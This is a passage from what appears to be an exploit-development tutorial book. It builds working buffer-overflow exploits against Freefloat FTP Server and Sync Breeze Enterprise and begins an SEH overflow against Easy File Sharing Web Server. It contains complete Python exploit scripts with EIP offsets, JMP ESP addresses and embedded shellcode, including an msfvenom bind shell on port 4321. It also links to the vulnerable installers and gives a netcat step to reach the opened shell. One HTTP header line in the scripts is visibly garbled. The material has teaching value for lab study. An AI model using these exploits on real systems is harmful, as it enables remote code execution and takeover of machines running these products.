junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Close the Immunity Debugger, re-run the Freefloat FTP Server, and attach it to the Immunity Debugger. Then, hit the run program:

$ ./exploit.py

The output of the preceding command can be seen in the following screenshot:



The current pattern inside the EIP is 37684136:



We have the pattern located inside the EIP; now, let's get the exact offset of it:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 37684136 -l 500

The output of the preceding command can be seen in the following screenshot:



It's at offset 230; let's confirm that:

#!/usr/bin/python
import socket
import sys

junk = 'A'*230
eip = 'B'*4
injection = junk+eip

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')

Close the Immunity Debugger and start it again along with the Freefloat FTP Server, attach it inside the Immunity Debugger, and hit the run program. Then execute our exploit:

$ ./exploit.py

The output of the preceding command can be seen in the following screenshot:



Also, let's look at the registers:



EIP now contains 42424242; so we now control EIP.

Let's move on to the next phase, which is finding a place for our shellcode and injecting it.



            

            
        
    
        

                            
                    Injecting shellcode 

                
            
            
                
Let's take a look at another approach to analyzing our pattern inside the Freefloat FTP Server:

#!/usr/bin/python
import socket
import sys

junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq'

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+junk+'\r\n')

Let's re-run the Freefloat FTP Server, attach it to the Immunity Debugger, and hit the run program icon. Then, run the exploit:

$ ./exploit.py

The program will crash again; then, from the command bar, enter !mona findmsp:



According to the Rapid7 blog at https://blog.rapid7.com/2011/10/11/monasploit/, the findmsp command does the following:


	Looks for the first 8 bytes of the cyclic pattern anywhere in the process memory (normal or unicode-expanded).

	Looks at all the registers and lists the registers that either point at, or are overwritten with, a part of the pattern. It will show the offset and the length of the pattern in the memory after that offset if the registers point into the pattern.

	Looks for pointers into a part of the pattern on the stack (shows offset and length).

	Looks for artifacts of the pattern on the stack (shows offset and length).

	Queries the SEH chain and determines whether it was overwritten with a cyclic pattern or not.



After that, hit Enter:



This analysis tells us the exact offset, which is 230. It also tells us that the best place to hold a shellcode would be inside the stack and will use the ESP register since none of the patterns got out from the stack. So, let's continue as we did before.

Our exploit should look like this:



Now, let's find the address to JMP ESP:



Then, search for JMP ESP:



Now we need to choose any address here to perform a jump to ESP. I'll select 75BE0690.

For the shellcode, let's choose something else that is small; for example, let's try this shellcode at https://www.exploit-db.com/exploits/40245/, which generates a message box on the victim's machine: 

"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0"

So, our final shellcode should look like this:



Let's create our final exploit:

#!/usr/bin/python
import socket
import sys

shellcode = "\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x8b\x48\x10\x31\xdb\x8b\x59\x3c\x01\xcb\x8b\x5b\x78\x01\xcb\x8b\x73\x20\x01\xce\x31\xd2\x42\xad\x01\xc8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x73\x1c\x01\xce\x8b\x14\x96\x01\xca\x89\xd6\x89\xcf\x31\xdb\x53\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54\x51\xff\xd2\x83\xc4\x10\x31\xc9\x68\x6c\x6c\x42\x42\x88\x4c\x24\x02\x68\x33\x32\x2e\x64\x68\x75\x73\x65\x72\x54\xff\xd0\x83\xc4\x0c\x31\xc9\x68\x6f\x78\x41\x42\x88\x4c\x24\x03\x68\x61\x67\x65\x42\x68\x4d\x65\x73\x73\x54\x50\xff\xd6\x83\xc4\x0c\x31\xd2\x31\xc9\x52\x68\x73\x67\x21\x21\x68\x6c\x65\x20\x6d\x68\x53\x61\x6d\x70\x8d\x14\x24\x51\x68\x68\x65\x72\x65\x68\x68\x69\x20\x54\x8d\x0c\x24\x31\xdb\x43\x53\x52\x51\x31\xdb\x53\xff\xd0\x31\xc9\x68\x65\x73\x73\x41\x88\x4c\x24\x03\x68\x50\x72\x6f\x63\x68\x45\x78\x69\x74\x8d\x0c\x24\x51\x57\xff\xd6\x31\xc9\x51\xff\xd0";

junk = 'A'*230
eip = '\x90\x06\xbe\x75'
nops = '\x90'*10
injection = junk+eip+nops+shellcode

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER '+injection+'\r\n')

Now we are all set; let's re-run just the Freefloat FTP Server, and then run our exploit:

$ ./exploit.py

The output of the preceding command can be seen in the following screenshot:



Our exploit worked!



            

            
        
    
        

                            
                    An example

                
            
            
                
What I want you to do is to try this example but with a different parameter, for example, the MKD parameter, and I'll give you a chunk code to start with:

#!/usr/bin/python
import socket
import sys

junk = ' '

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('192.168.129.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD' + junk +'\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close()

It's exactly like this scenario, so try to be more creative.



            

            
        
    
        

                            
                    Summary 

                
            
            
                
In this chapter, we did a real and full scenario starting from fuzzing. We then looked at how to control the EIP, and then inject and execute a shellcode.

In the next chapter, we will use a real-world scenario but from a different approach, which is intercepting and fuzzing a parameter inside the HTTP header.

 

 





            

            
        
    
        

                            
                    Real-World Scenarios – Part 2

                
            
            
                
In this chapter, we will practice exploit development but from a different approach, which is our vulnerable parameter that will be inside the HTTP header. We will look at how to intercept and see the actual content of the HTTP header.

The topics covered in this chapter are as follows:


	Sync Breeze Enterprise

	Fuzzing

	Controlling the instruction pointer

	Injecting shellcode





            

            
        
    
        

                            
                    Sync Breeze Enterprise

                
            
            
                
Our scenario today will be Sync Breeze Enterprise V.10.0.28. You can see the exploit at https://www.exploit-db.com/exploits/42928/ and you can download the vulnerable version from it or https://www.exploit-db.com/apps/959f770895133edc4cf65a4a02d12da8-syncbreezeent_setup_v10.0.28.exe.

Download and install it. Then open it and go to Tools | Advanced Options | Server. Make sure that Enable Web Server on Port: 80 is activated:



Save the changes. Then, from our attacking machine and via Firefox, let's connect to this service using port 80, which gives us this page:



Now, let's try to perform some fuzzing on the login's parameter:
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Now, let's generate some A characters using Python:



Let's copy this string and use it as input for this login form:



Then, let's copy the actual input from this window and get the length of the actual input: 



The actual length of the input is 64 and we injected 100. There is something at the client side that prevents us from injecting more than 64 characters. Let's confirm it just by right-clicking on the username text input and then navigating to Inspect | Elements:



We can simply change the maxlength="64" value and continue with the fuzzing, but we need to build our exploit. Let's try to look inside the HTTP header, using any proxy application, such as Burp Suite or OWASP Zed Attack Proxy (ZAP). I'm going to use Burp Suite here and set up a proxy so that I can intercept this HTTP header. 

Start Burp Suite, then go to Proxy | Options, and make sure that Burp Suite is listening on port 8080 on the loopback address 127.0.0.1:



Then, through your browser, set a proxy on the loopback address 127.0.0.1 using port 8080:



Make the login page ready and activate the intercept in Burp Suite by navigating to Proxy | Intercept:



Now, the intercept is ready. Let's inject any number of characters in the login form and then click on Login and get back to Burp Suite:



Close Burp Suite. Set the proxy back to normal and let's build our fuzzing code using this header and fuzzing the username parameter:

#!/usr/bin/python
import socket

 
junk = 

payload="username="+junk+"&password=A"
 
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload
 
s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

Let's start with 300:

junk = 'A'*300

Now, attach Sync Breeze to the Immunity Debugger (run the Immunity Debugger as an administrator):



Make sure to attach it to the server (syncbrs), not the client (syncbrc), then hit the run program.

Now, start the exploit code on our attacking machine:



Nothing happened. Let's increase the fuzzing value to 700:

junk = 'A'*700

Then, re-run the exploit:



Again nothing happened. Let's increase the fuzzing value to 1000:

junk = 'A'*1000

Now, re-run the exploit:



It worked! Let's take a look at the registers too:



There are the A characters in the stack: 
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Okay, perfect. Let's create the pattern to get the offset of the EIP:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 1000

Now, reset the junk value to the new pattern:

junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B'

Close the Immunity Debugger and go to Task Manager | Services | Services...; now, select Sync Breeze Enterprise and then select Start to start the service again:



Then, make sure that the program is running and connected:



Now, run the Immunity Debugger (as an administrator) again, attach syncbrs, and hit the run program.

Then, run the exploit from the attacking machine:



The EIP value now is 42306142; let's locate this exact offset of EIP:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_offset.rb -q 42306142 -l 1000

The output for the preceding command can be seen in the following screenshot: 



Also, we could use the mona plugin inside the Immunity Debugger:

!mona findmsp

The output of the preceding command can be seen in the following screenshot: 



Let's confirm:

#!/usr/bin/python
import socket


junk = 'A'*780
eip = 'B'*4
pad = 'C'*(1000-780-4)

injection = junk + eip + pad

payload="username="+injection+"&password=A"
buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r\n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

Close the Immunity Debugger and start the Sync Breeze Enterprise service and make sure the program is running and connected. Then, start the Immunity Debugger (as an administrator), attach syncbrs, and hit the run program.

Then, re-run the exploit:



Now, we can control the instruction pointer:





            

            
        
    
        

                            
                    Injecting shell code 

                
            
            
                
So, our final injection should look like this:



Close the Immunity Debugger and start the Sync Breeze Enterprise service and make sure the program is running and connected. Then start the Immunity Debugger, attach syncbrs, and hit the run program.

Okay, let's find JMP ESP:



Then, search for JMP ESP:



We got a long list of them; let's just pick one, 10090c83:

We selected this address because this location is persistent to the application (libspp.dll). If we selected an address related to the system (such as SHELL32.dll or USER32.dll), then that address would change every time the system reboots. As we saw in the previous chapter, it would only work in the runtime and would be useless when the system reboots.

eip = '\x83\x0c\x09\x10'

Let's also set up the NOP sled:

nops = '\x90'*20

Now, let's generate a bind TCP shell code on port 4321:

$ msfvenom -a x86 --platform windows -p windows/shell_bind_tcp LPORT=4321 -b '\x00\x26\x25\x0A\x2B\x3D\x0D' -f python

The output for the preceding command can be seen in the following screenshot: 



Our final exploit code should look like this:

#!/usr/bin/python
import socket


buf = ""
buf += "\xda\xd8\xd9\x74\x24\xf4\xba\xc2\xd2\xd2\x3c\x5e\x29"
buf += "\xc9\xb1\x53\x31\x56\x17\x83\xee\xfc\x03\x94\xc1\x30"
buf += "\xc9\xe4\x0e\x36\x32\x14\xcf\x57\xba\xf1\xfe\x57\xd8"
buf += "\x72\x50\x68\xaa\xd6\x5d\x03\xfe\xc2\xd6\x61\xd7\xe5"
buf += "\x5f\xcf\x01\xc8\x60\x7c\x71\x4b\xe3\x7f\xa6\xab\xda"
buf += "\x4f\xbb\xaa\x1b\xad\x36\xfe\xf4\xb9\xe5\xee\x71\xf7"
buf += "\x35\x85\xca\x19\x3e\x7a\x9a\x18\x6f\x2d\x90\x42\xaf"
buf += "\xcc\x75\xff\xe6\xd6\x9a\x3a\xb0\x6d\x68\xb0\x43\xa7"
buf += "\xa0\x39\xef\x86\x0c\xc8\xf1\xcf\xab\x33\x84\x39\xc8"
buf += "\xce\x9f\xfe\xb2\x14\x15\xe4\x15\xde\x8d\xc0\xa4\x33"
buf += "\x4b\x83\xab\xf8\x1f\xcb\xaf\xff\xcc\x60\xcb\x74\xf3"
buf += "\xa6\x5d\xce\xd0\x62\x05\x94\x79\x33\xe3\x7b\x85\x23"
buf += "\x4c\x23\x23\x28\x61\x30\x5e\x73\xee\xf5\x53\x8b\xee"
buf += "\x91\xe4\xf8\xdc\x3e\x5f\x96\x6c\xb6\x79\x61\x92\xed"
buf += "\x3e\xfd\x6d\x0e\x3f\xd4\xa9\x5a\x6f\x4e\x1b\xe3\xe4"
buf += "\x8e\xa4\x36\x90\x86\x03\xe9\x87\x6b\xf3\x59\x08\xc3"
buf += "\x9c\xb3\x87\x3c\xbc\xbb\x4d\x55\x55\x46\x6e\x49\x47"
buf += "\xcf\x88\x03\x97\x86\x03\xbb\x55\xfd\x9b\x5c\xa5\xd7"
buf += "\xb3\xca\xee\x31\x03\xf5\xee\x17\x23\x61\x65\x74\xf7"
buf += "\x90\x7a\x51\x5f\xc5\xed\x2f\x0e\xa4\x8c\x30\x1b\x5e"
buf += "\x2c\xa2\xc0\x9e\x3b\xdf\x5e\xc9\x6c\x11\x97\x9f\x80"
buf += "\x08\x01\xbd\x58\xcc\x6a\x05\x87\x2d\x74\x84\x4a\x09"
buf += "\x52\x96\x92\x92\xde\xc2\x4a\xc5\x88\xbc\x2c\xbf\x7a"
buf += "\x16\xe7\x6c\xd5\xfe\x7e\x5f\xe6\x78\x7f\x8a\x90\x64"
buf += "\xce\x63\xe5\x9b\xff\xe3\xe1\xe4\x1d\x94\x0e\x3f\xa6"
buf += "\xa4\x44\x1d\x8f\x2c\x01\xf4\x8d\x30\xb2\x23\xd1\x4c"
buf += "\x31\xc1\xaa\xaa\x29\xa0\xaf\xf7\xed\x59\xc2\x68\x98"
buf += "\x5d\x71\x88\x89"

junk = 'A'*780
eip = '\x83\x0c\x09\x10'
nops = '\x90'*20

injection = junk + eip + nops + buf

payload="username="+injection+"&password=A"

buffer="POST /login HTTP/1.1\r\n"
buffer+="Host: 192.168.129.128\r\n"
buffer+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0\r\n"
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"
buffer+="Accept-Language: en-US,en;q=0.5\r   2;n"
buffer+="Referer: http://192.168.129.128/login\r\n"
buffer+="Connection: close\r\n"
buffer+="Content-Type: application/x-www-form-urlencoded\r\n"
buffer+="Content-Length: "+str(len(payload))+"\r\n"
buffer+="\r\n"
buffer+=payload

s = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.129.128", 80))
s.send(buffer)
s.close()

Ready! Let's close the Immunity Debugger and start the Sync Breeze Enterprise service; then, run the exploit.

Now, connect the victim machine using the nc command: 

$ nc 192.168.129.128 4321

The output for the preceding command can be seen in the following screenshot: 



It worked!



            

            
        
    
        

                            
                    Summary 

                
            
            
                
In this chapter, we performed the same steps as we did in the previous chapter, but we added a small part related to the HTTP header. What I want you to do is to navigate in www.exploit-db.com, try to find any buffer overflow, and make your own exploits as we did here. The more you practice, the more you will master this attack!

In the next chapter, we will take a look at a complete practical example of structured exception handling (SEH).
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Here we go with our final practical part of this book. It takes a different approach, focusing on the structured exception handling (SEH) based buffer overflow, and is also based on the HTTP header, but using the GET request.
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Our target here will be the Easy File Sharing Web Server 7.2. You can find the exploit at https://www.exploit-db.com/exploits/39008/, and you can download the vulnerable application from https://www.exploit-db.com/apps/60f3ff1f3cd34dec80fba130ea481f31-efssetup.exe.

Download and install the application; if you did this in the previous lab, then we have to turn off the web server in Sync Breeze Enterprise because we need port 80.

Open Sync Breeze Enterprise and navigate to Tools | Advanced Options... | Server, and make sure that Enable Web Server on Port is disabled:



Click on Save to save the changes and close it.

Open Easy File Sharing Web Server:



Click on Try it!. When the application opens, click on Start in the top-left corner:
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Our parameter is the GET parameter; look at the following screenshot: 



The / after GET is our parameter; let's build our fuzzing code:

#!/usr/bin/python
import socket

junk = 


s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n") 
s.close()

And on our victim machine, start the Immunity Debugger as the administrator and attach to fsws:



Let's start with a fuzzing value of 1000:

junk = 'A'*1000

Then, run the exploit:



Nothing happened; let's increase it to 3000:

junk = 'A'*3000

Then, once again run the exploit:



Once again, it's the same; let's try 5000:

junk = 'A'*5000

Then, once again, run the exploit:



Also, scroll down in the stack window; you will see that we managed to overflow the SEH and nSEH: 



We can confirm that by navigating to View | SEH chain or (Alt + S):
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Now, let's try to get the offset of the SEH by creating the pattern by using Metasploit:

$ cd /usr/share/metasploit-framework/tools/exploit/
$ ./pattern_create.rb -l 5000

The exploit should look like this:

#!/usr/bin/python
import socket


junk = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De